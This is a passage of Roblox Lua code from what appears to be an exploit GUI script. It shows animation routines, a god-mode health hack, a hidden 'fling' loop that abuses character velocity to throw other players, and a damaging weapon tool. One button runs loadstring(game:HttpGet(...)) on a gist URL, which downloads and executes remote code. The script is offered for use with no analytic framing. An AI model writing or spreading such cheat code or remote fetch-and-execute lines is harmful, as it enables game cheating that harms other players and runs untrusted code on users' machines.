					torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-3 + 3 * math.cos(sine / 10)), math.rad(0), 0), 0.1)
					torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.1)
					lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.6, -1 - 0.01 * math.cos(sine / 10), 0) * CFrame.Angles(math.rad(5 - 5 * math.cos(sine / 5)), math.rad(0), math.rad(-10 + 1.9 * math.cos(sine / 10))), 0.1)
					lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0.3) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.1)
					rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -1 + 0.01 * math.cos(sine / 10), 0) * CFrame.Angles(math.rad(-5 - 3 * math.cos(sine / 10)), math.rad(-10), math.rad(12 + 1.9 * math.cos(sine / 10))), 0.1)
					rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.1)
					rj.C0 = Lerp(torso.Weld.C0, CFrame.new(0, 2, 0) * CFrame.Angles(math.rad(-3 + 3 * math.cos(sine / 10)), math.rad(0), 0), 0.1)
					rj.C1 = Lerp(torso.Weld.C1, CFrame.new(0, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.1)
				else
					if animpose == "Walking" then
						change = 0.8
						corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0.5) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.4)
						corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)), 0.4)
						rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.5, 0) * CFrame.Angles(math.rad(20 + 2 * math.cos(sine / 7)), math.rad(0), math.rad(30)), 0.4)
						rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.7)
						larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.5 + 0.05 * math.cos(sine / 2), -math.sin(sine / 4) / 4) * CFrame.Angles(math.sin(sine / 4) / 2.8, -math.sin(sine / 4) / 3, math.rad(-10 - 7 * math.cos(sine / 2)) + root.RotVelocity.Y / 30), 0.4)
						larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.7)
						hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, -0.1 + 0.1 * math.cos(sine / 2)) * CFrame.Angles(math.rad(-10 + 4 * math.cos(sine / 2)), math.rad(0 - 8 * math.cos(sine / 4) / 2.3), math.rad(0)), 0.4)
						hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0) - root.RotVelocity.Y / 10, math.rad(0)), 0.7)
						torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1 + 0.12 * math.cos(sine / 2), 0) * CFrame.Angles(math.rad(-4 + 2 * math.cos(sine / 2)), math.rad(0 + 10 * math.cos(sine / 4) / 2.3) + root.RotVelocity.Y / 30, math.rad(0) + root.RotVelocity.Y / 30), 0.4)
						torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.8)
						lleg.Weld.C0 = lleg.Weld.C0:lerp(CFrame.new(-0.5, -1 - math.cos(sine / 4) * 0.2, 0 + math.sin(sine / 4) * 0.1) * CFrame.Angles(math.sin(sine / 4) * 3 * AngleThetaL.Z, AngleThetaL.X, math.sin(sine / 4) * 3 * -AngleThetaL.X - root.RotVelocity.Y / 20), 0.8)
						lleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.8)
						rleg.Weld.C0 = rleg.Weld.C0:lerp(CFrame.new(0.5, -1 + math.cos(sine / 4) * 0.2, 0 - math.sin(sine / 4) * 0.1) * CFrame.Angles(math.sin(sine / 4) * 3 * -AngleThetaR.Z, AngleThetaR.X, math.sin(sine / 4) * 3 * AngleThetaR.X - root.RotVelocity.Y / 20), 0.8)
						rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.8)
					else
						if animpose == "Running" then
							change = 1.1
							corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.4)
							corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(-35)), 0.4)
							rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.4, 0.54, 0) * CFrame.Angles(math.rad(-34), math.rad(-15), math.rad(26)), 0.2)
							rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.36)
							larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.24 + 0.6 * math.cos(sine / 4) / 1.4, 0.54, 0 - 0.8 * math.cos(sine / 4)) * CFrame.Angles(math.rad(6 + 140 * math.cos(sine / 4) / 1.2), math.rad(0), math.rad(20 + 70 * math.cos(sine / 4))), 0.2)
							larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
							hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, -0.2) * CFrame.Angles(math.rad(-8 + 12 * math.cos(sine / 2) / 1.5), math.rad(0 + 12 * math.cos(sine / 4)), math.rad(0)), 0.2)
							hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0) - root.RotVelocity.Y / 10, math.rad(0)), 0.5)
							torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1 + 0.2 * math.cos(sine / 2) / 1.7, 0) * CFrame.Angles(math.rad(-14 + 10 * math.cos(sine / 2) / 1.5), math.rad(0 - 12 * math.cos(sine / 4)) - root.RotVelocity.Y / 10, math.rad(0) + root.RotVelocity.Y / 20), 0.2)
							torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.4)
							lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -0.8 - 0.4 * math.cos(sine / 4) / 2, math.sin(sine / 4) / 2) * CFrame.Angles(math.rad(-10) + -math.sin(sine / 4) / 1.2, math.rad(0 + 12 * math.cos(sine / 4)) + root.RotVelocity.Y / 10, 0), 0.8)
							lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
							rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -0.8 + 0.4 * math.cos(sine / 4) / 2, -math.sin(sine / 4) / 2) * CFrame.Angles(math.rad(-10) + math.sin(sine / 4) / 1.2, math.rad(0 + 12 * math.cos(sine / 4)) + root.RotVelocity.Y / 10, 0), 0.8)
							rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
						else
							if animpose == "Jumping" then
								change = 1
								rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.6, 0) * CFrame.Angles(math.rad(-10), math.rad(0), math.rad(10)), 0.2)
								rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.36)
								larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.6, 0) * CFrame.Angles(math.rad(-10), math.rad(0), math.rad(-10)), 0.2)
								larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
								hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(30), math.rad(0), 0), 0.2)
								torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(1), math.rad(0), 0), 0.2)
								torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.4)
								lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -1.1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.2)
								lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
								rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -1.1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.2)
								rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
							else
								if animpose == "Freefalling" then
									change = 1
									rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.6, 0) * CFrame.Angles(math.rad(-40), math.rad(20), math.rad(50)), 0.2)
									rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.36)
									larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.6, 0) * CFrame.Angles(math.rad(110), math.rad(-20), math.rad(-30)), 0.2)
									larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
									hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(10), math.rad(0), 0), 0.2)
									torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-30), math.rad(0), 0), 0.2)
									torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.4)
									lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -0.5, -0.5) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(0)), 0.2)
									lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
									rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, 0, 0.5) * CFrame.Angles(math.rad(30), math.rad(0), math.rad(0)), 0.2)
									rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
								end
							end
						end
					end
				end
			end
		end
		)
		hum.MaxHealth = math.huge
		wait(3)
		hum.Health = math.huge
	
		---------------------------------------------------------------------------------
	
		if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
			hiddenfling = true
		else
			hiddenfling = true
			detection = Instance.new("Decal")
			detection.Name = "juisdfj0i32i0eidsuf0iok"
			detection.Parent = game:GetService("ReplicatedStorage")
			local function fling()
				local hrp, c, vel, movel = nil, nil, nil, 0.1
				while true do
					game:GetService("RunService").Heartbeat:Wait()
					if hiddenfling then
						local lp = game.Players.LocalPlayer
						while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
							game:GetService("RunService").Heartbeat:Wait()
							c = lp.Character
							hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
						end
						if hiddenfling then
							vel = hrp.Velocity
							hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
							game:GetService("RunService").RenderStepped:Wait()
							if c and c.Parent and hrp and hrp.Parent then
								hrp.Velocity = vel
							end
							game:GetService("RunService").Stepped:Wait()
							if c and c.Parent and hrp and hrp.Parent then
								hrp.Velocity = vel + Vector3.new(0, movel, 0)
								movel = movel * -1
							end
						end
					end
				end
			end
	
			fling()
		end
	
	end)
end;
task.spawn(C_89);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_8b()
local script = G2L["8b"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/5d8a45ea83d64db757182c7fae4caeae/raw/27d5fe5866fc61208fead93a7caeeb854f1c1be4/Illuminati%2520Laser%2520Fling",true))()
	
	end)
end;
task.spawn(C_8b);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_8d()
local script = G2L["8d"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		bin.Deselected:connect(function()local admin = game.Players.LocalPlayer
			bin = Instance.new("HopperBin", admin.Backpack)
			player = bin.Parent.Parent.Character 
			rarm = player["Right Arm"] 
			larm = player["Left Arm"] 
			player.Humanoid.MaxHealth = 50 
			visible = true 
			parts = {} 
	
			function Check(pos) 
				local hurt = false 
				local players = game.Players:GetChildren() 
				for i = 1, #players do 
					if players[i].Character and hurt == false then 
						local parts = players[i].Character:GetChildren() 
						for q = 1, #parts do 
							if parts[q].className == "Part" and hurt == false then 
								local range = math.sqrt(math.pow(parts[q].Size.Z, 2) + math.sqrt(math.pow(parts[q].Size.X, 2) + math.pow(parts[q].Size.Y, 2))) 
								if (found - parts[q].Position).magnitude <= range then 
									hurt = true 
									character = parts[q].Parent 
									humanoid = character.Humanoid 
									character.Torso.CFrame = character.Torso.CFrame*CFrame.Angles(2,2,2)-amage(25) 
									humanoid:TakeDamage(50) 
									humanoid.Sit = true 
								end 
							end 
						end 
					end 
				end 
			end 
	
			function clean(min,thing2) 
				while min.Humanoid.Health ~= 0 do 
					local a = game.Players:GetChildren() 
					for i = 1, #a do 
						wait() 
						if (a[i].Character.Torso.Position - thing2.Position).magnitude < 5 then 
							a[i].Character.Humanoid:TakeDamage(0) 
						end 
					end 
					wait() 
				end 
				min:remove() 
			end 
	
			function fire(v) 
				local spawnPos = (tip2.CFrame * CFrame.new(0, 1, 0)).p 
				local HitSpot = RayCast(spawnPos, v) 
				local distance = (HitSpot - spawnPos).magnitude 
				start = nil 
				finish = nil 
				local num = math.random(3, 10) 
				for i = distance / num, distance, distance / num do 
					if start == nil then 
						start = tip2.CFrame.p 
					elseif start ~= nil then 
						start = finish 
					end 
					finish = CFrame.new(spawnPos, HitSpot) 
					if i ~= distance then 
						finish = (finish * CFrame.new(math.random(-5, 5), math.random(-1, 1), -i)).p 
					else 
						finish = HitSpot 
					end 
					local P = Instance.new("Part") 
					P.Name = "Magic" 
					P.formFactor = 0 
					P.Size = Vector3.new(1, 1, (start - finish).magnitude) 
					P.Parent = game.Workspace 
					P.BrickColor = BrickColor.new(1006) 
					P.Anchored = true 
					P.CanCollide = false 
					P.TopSurface = "Smooth" 
					P.BottomSurface = "Smooth" 
					P.Transparency = 0 
					m = Instance.new("BlockMesh") 
					m.Scale = Vector3.new(.25, .25, 1) 
					m.Offset = Vector3.new(0, -1000, 0) 
					m.VertexColor = Vector3.new(math.huge, math.huge, math.huge) 
					m.Parent = P 
					P.CFrame = CFrame.new(start, finish) 
					P.CFrame = P.CFrame * CFrame.new(0, 1000, P.Size.Z / -2) 
					table.insert(parts, P) 
					game:GetService("Debris"):AddItem(P, 2.5) 
				end 
			end 
	
			function RayCast(start, v) 
	
				local ray = Instance.new("Part") 
				ray.Parent = game.Workspace 
				ray.Anchored = true 
				ray.CFrame = CFrame.new(start) 
				ray.Size = Vector3.new(1,1,1) 
				ray.Shape = 0 
				ray.BottomSurface = 0 
				ray.TopSurface = 0 
				ray.Name = "Magic" 
				ray.Elasticity = 0 
				ray.Reflectance = 0 
				ray.Friction = 0 
				ray.Transparency = 0 
	
				local finding = true 
				far = 1000 
	
				while finding do 
					far = far - 1 
					if far > 0 then 
						local see = ray.Position + v 
						ray.Position = ray.Position + v 
						if ray.Position ~= see then 
							finding = false 
							found = see 
						end 
					else 
						finding = false 
						found = ray.Position 
					end 
				end 
	
				ray:remove() 
				Check(found) 
				return found 
			end 
	
			function kill(tar) 
				while tar.Parent.Humanoid.Health ~= 0 do 
					tar.Parent.Humanoid.Health = tar.Parent.Humanoid.Health
					wait() 
				end 
			end 
	
			bin.Selected:connect(function(mouse) 
				if player.Torso:findFirstChild("Right Shoulder") ~= nil then 
					rs = player.Torso["Right Shoulder"] 
					rs.Part1 = nil 
				end 
				if player.Torso:findFirstChild("Left Shoulder") ~= nil then 
					ls = player.Torso["Left Shoulder"] 
					ls.Part1 = nil 
				end 
				if player:FindFirstChild("check") == nil then 
					rns = Instance.new("Weld") 
					rns.Parent = player.Torso 
					rns.Part0 = rns.Parent 
					rns.Part1 = player["Right Arm"] 
					rns.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05)) 
					lns = Instance.new("Weld") 
					lns.Parent = player.Torso 
					lns.Part0 = lns.Parent 
					lns.Part1 = player["Left Arm"] 
					lns.C1 = CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.05)) 
					rblade = Instance.new("Part") 
					rblade.BrickColor = BrickColor.new(1003) 
					rblade.Name ="check" 
					rblade.Parent = player 
					rblade.CanCollide = false 
					rblade.Size = Vector3.new(1,8,1) 
					rblade.formFactor = "Symmetric" 
					rblade.TopSurface = 0 
					rblade.BottomSurface = 0 
					rbm = Instance.new("BlockMesh") 
					rbm.Parent = rblade 
					rbm.Scale = Vector3.new(.4,1,.4) 
					rbw = Instance.new("Weld") 
					rbw.Parent = rblade 
					rbw.Part0 = rarm 
					rbw.Part1 = rblade 
					rbw.C1 = CFrame.new(0,0,1) *CFrame.Angles((math.pi*.5),(math.pi*0),(math.pi*0)) 
					tip = Instance.new("Part") 
					tip.CanCollide = false 
					tip.TopSurface = 0 
					tip.BottomSurface = 0 
					tip.Parent = rblade 
					tip.Size = Vector3.new(1,1,1) 
					tip.formFactor = "Symmetric" 
					tip.BrickColor = BrickColor.new(1004) 
					tipm = Instance.new("BlockMesh") 
					tipm.Scale = Vector3.new(.41,.2,.41) 
					tipm.Parent = tip 
					tipw = Instance.new("Weld") 
					tipw.Parent = rblade 
					tipw.Part0 = rblade 
					tipw.Part1 = tip 
					tipw.C1 = CFrame.new(0,3.5,0) 
					tip2 = Instance.new("Part") 
					tip2.CanCollide = false 
					tip2.TopSurface = 0 
					tip2.BottomSurface = 0 
					tip2.Parent = rblade 
					tip2.Size = Vector3.new(1,1,1) 
					tip2.formFactor = "Symmetric" 
					tip2.BrickColor = BrickColor.new(1004) 
					tip2m = Instance.new("BlockMesh") 
					tip2m.Scale = Vector3.new(.41,.2,.41) 
					tip2m.Parent = tip2 
					tip2w = Instance.new("Weld") 
					tip2w.Parent = rblade 
					tip2w.Part0 = rblade 
					tip2w.Part1 = tip2 
					tip2w.C1 = CFrame.new(0,-3.5,0) 
					tip3 = Instance.new("Part") 
					tip3.CanCollide = false 
					tip3.TopSurface = 0 
					tip3.BottomSurface = 0 
					tip3.Parent = rblade 
					tip3.Size = Vector3.new(1,1,1) 
					tip3.formFactor = "Symmetric" 
					tip3.BrickColor = BrickColor.new(1004) 
					tip3m = Instance.new("BlockMesh") 
					tip3m.Scale = Vector3.new(.41,.2,.41) 
					tip3m.Parent = tip3 
					tip3w = Instance.new("Weld") 
					tip3w.Parent = rblade 
					tip3w.Part0 = rblade 
					tip3w.Part1 = tip3 
					tip3w.C1 = CFrame.new(0,-.5,0) 
					tip4 = Instance.new("Part") 
					tip4.CanCollide = false 
					tip4.TopSurface = 0 
					tip4.BottomSurface = 0 
					tip4.Parent = rblade 
					tip4.Size = Vector3.new(1,1,1) 
					tip4.formFactor = "Symmetric" 
					tip4.BrickColor = BrickColor.new(1004) 
					tip4m = Instance.new("BlockMesh") 
					tip4m.Scale = Vector3.new(.41,.2,.41) 
					tip4m.Parent = tip4 
					tip4w = Instance.new("Weld") 
					tip4w.Parent = rblade 
					tip4w.Part0 = rblade 
					tip4w.Part1 = tip4 
					tip4w.C1 = CFrame.new(0,.5,0) 
					tip5 = Instance.new("Part") 
					tip5.CanCollide = false 
					tip5.TopSurface = 0 
					tip5.BottomSurface = 0 
					tip5.Parent = rblade 
					tip5.Size = Vector3.new(1,1,1) 
					tip5.formFactor = "Symmetric" 
					tip5.BrickColor = BrickColor.new(1004) 
					tip5m = Instance.new("BlockMesh") 
					tip5m.Scale = Vector3.new(.41,.2,.41) 
					tip5m.Parent = tip5 
					tip5w = Instance.new("Weld") 
					tip5w.Parent = rblade 
					tip5w.Part0 = rblade 
					tip5w.Part1 = tip5 
					tip5w.C1 = CFrame.new(0,0,0) 
					tip6 = Instance.new("Part") 
					tip6.CanCollide = false 
					tip6.TopSurface = 0 
					tip6.BottomSurface = 0 
					tip6.Parent = rblade 
					tip6.Size = Vector3.new(1,1,1) 
					tip6.formFactor = "Symmetric" 
					tip6.BrickColor = BrickColor.new(1004) 
					tip6m = Instance.new("BlockMesh") 
					tip6m.Scale = Vector3.new(.05,.6,.41) 
					tip6m.Parent = tip6 
					tip6w = Instance.new("Weld") 
					tip6w.Parent = rblade 
					tip6w.Part0 = rblade 
					tip6w.Part1 = tip6 
					tip6w.C1 = CFrame.new(0,-3,0) 
					tip7 = Instance.new("Part") 
					tip7.CanCollide = false 
					tip7.TopSurface = 0 
					tip7.BottomSurface = 0 
					tip7.Parent = rblade 
					tip7.Size = Vector3.new(1,1,1) 
					tip7.formFactor = "Symmetric" 
					tip7.BrickColor = BrickColor.new(1004) 
					tip7m = Instance.new("BlockMesh") 
					tip7m.Scale = Vector3.new(.41,.6,.05) 
					tip7m.Parent = tip7 
					tip7w = Instance.new("Weld") 
					tip7w.Parent = rblade 
					tip7w.Part0 = rblade 
					tip7w.Part1 = tip7 
					tip7w.C1 = CFrame.new(0,-3,0) 
					tip6a = Instance.new("Part") 
					tip6a.CanCollide = false 
					tip6a.TopSurface = 0 
					tip6a.BottomSurface = 0 
					tip6a.Parent = rblade 
					tip6a.Size = Vector3.new(1,1,1) 
					tip6a.formFactor = "Symmetric" 
					tip6a.BrickColor = BrickColor.new(1004) 
					tip6am = Instance.new("BlockMesh") 
					tip6am.Scale = Vector3.new(.15,.6,.41) 
					tip6am.Parent = tip6a 
					tip6aw = Instance.new("Weld") 
					tip6aw.Parent = rblade 
					tip6aw.Part0 = rblade 
					tip6aw.Part1 = tip6a 
					tip6aw.C1 = CFrame.new(0,-2.5,0) 
					tip7a = Instance.new("Part") 
					tip7a.CanCollide = false 
					tip7a.TopSurface = 0 
					tip7a.BottomSurface = 0 
					tip7a.Parent = rblade 
					tip7a.Size = Vector3.new(1,1,1) 
					tip7a.formFactor = "Symmetric" 
					tip7a.BrickColor = BrickColor.new(1004) 
					tip7am = Instance.new("BlockMesh") 
					tip7am.Scale = Vector3.new(.41,.6,.15) 
					tip7am.Parent = tip7a 
					tip7aw = Instance.new("Weld") 
					tip7aw.Parent = rblade 
					tip7aw.Part0 = rblade 
					tip7aw.Part1 = tip7a 
					tip7aw.C1 = CFrame.new(0,-2.5,0) 
					tip6b = Instance.new("Part") 
					tip6b.CanCollide = false 
					tip6b.TopSurface = 0 
					tip6b.BottomSurface = 0 
					tip6b.Parent = rblade 
					tip6b.Size = Vector3.new(1,1,1) 
					tip6b.formFactor = "Symmetric" 
					tip6b.BrickColor = BrickColor.new(1004) 
					tip6bm = Instance.new("BlockMesh") 
					tip6bm.Scale = Vector3.new(.05,.6,.41) 
					tip6bm.Parent = tip6b 
					tip6bw = Instance.new("Weld") 
					tip6bw.Parent = rblade 
					tip6bw.Part0 = rblade 
					tip6bw.Part1 = tip6b 
					tip6bw.C1 = CFrame.new(0,-2,0) 
					tip7b = Instance.new("Part") 
					tip7b.CanCollide = false 
					tip7b.TopSurface = 0 
					tip7b.BottomSurface = 0 
					tip7b.Parent = rblade 
					tip7b.Size = Vector3.new(1,1,1) 
					tip7b.formFactor = "Symmetric" 
					tip7b.BrickColor = BrickColor.new(1004) 
					tip7bm = Instance.new("BlockMesh") 
					tip7bm.Scale = Vector3.new(.41,.6,.05) 
					tip7bm.Parent = tip7b 
					tip7bw = Instance.new("Weld") 
					tip7bw.Parent = rblade 
					tip7bw.Part0 = rblade 
					tip7bw.Part1 = tip7b 
					tip7bw.C1 = CFrame.new(0,-2,0) 
	
					rblade.Touched:connect(function(hit) 
						if hit.Parent:findFirstChild("Humanoid") ~= nil then 
							if hit.Parent.Name ~= player.Name then 
								if hit.Parent.Humanoid.MaxHealth > 100 then 
									hit.Parent.Humanoid.MaxHealth = 100 
								end 
								hit.Parent.Humanoid.Health = hit.Parent.Humanoid.Health
								hit.Parent.Humanoid.Sit = true 
								for i = 1, (math.random(1,3)) do 
									wait() 
									local bleed = Instance.new("Part") 
									bleed.formFactor = "Symmetric" 
									bleed.Size = Vector3.new(1,1,1) 
									bleed.BrickColor = BrickColor.new(1004) 
									bleed.TopSurface = 0 
									bleed.BottomSurface = 0 
									bleed.Reflectance = .1 
									bleed.Transparency = 0 
									bleed.Parent = Workspace 
									bleed.Position = rblade.Position 
									local bleedm = Instance.new("SpecialMesh") 
									bleedm.MeshType = "Sphere" 
									bleedm.Scale = Vector3.new(.5,.5,.5) 
									bleedm.Parent = bleed 
									game:GetService("Debris"):AddItem(bleed, 5) 
								end 
							end 
						end 
					end) 
	
				end 
				-- animations-- 
				right = rns 
				staff = rblade 
				left = lns 
				up = "right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05))wait()right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))wait()right.C1 = CFrame.new(-1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))wait()right.C1 = CFrame.new(-1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))wait()right.C1 = CFrame.new(-1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))wait()right.C1 = CFrame.new(-1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*-.25))" 
				down = "right.C1 = CFrame.new(-1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))wait()right.C1 = CFrame.new(-1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))wait()right.C1 = CFrame.new(-1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))wait()right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))wait()right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05))" 
				-- end of staff 
				mouse.KeyDown:connect(function(key) 
					-- moves 
					if key == "z" then 
						if rbw.Part0 == rarm then 
							rbw.Part0 = larm 
						end 
					end 
					if key == "x" then 
						if rbw.Part0 == larm then 
							rbw.Part0 = rarm 
						end 
					end 
					if key == "e" then 
						right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05)) 
						wait() 
						right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05)) 
						wait() 
						right.C1 = CFrame.new(-1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1)) 
						wait() 
						right.C1 = CFrame.new(-1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15)) 
						wait() 
						right.C1 = CFrame.new(-1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2)) 
						wait() 
						right.C1 = CFrame.new(-1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*-.25)) 
						wait(.5) 
						right.C1 = CFrame.new(-1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2)) 
						wait() 
						right.C1 = CFrame.new(-1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15)) 
						wait() 
						right.C1 = CFrame.new(-1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1)) 
						wait() 
						right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05)) 
						wait() 
						right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05)) 
					elseif key == "q" then 
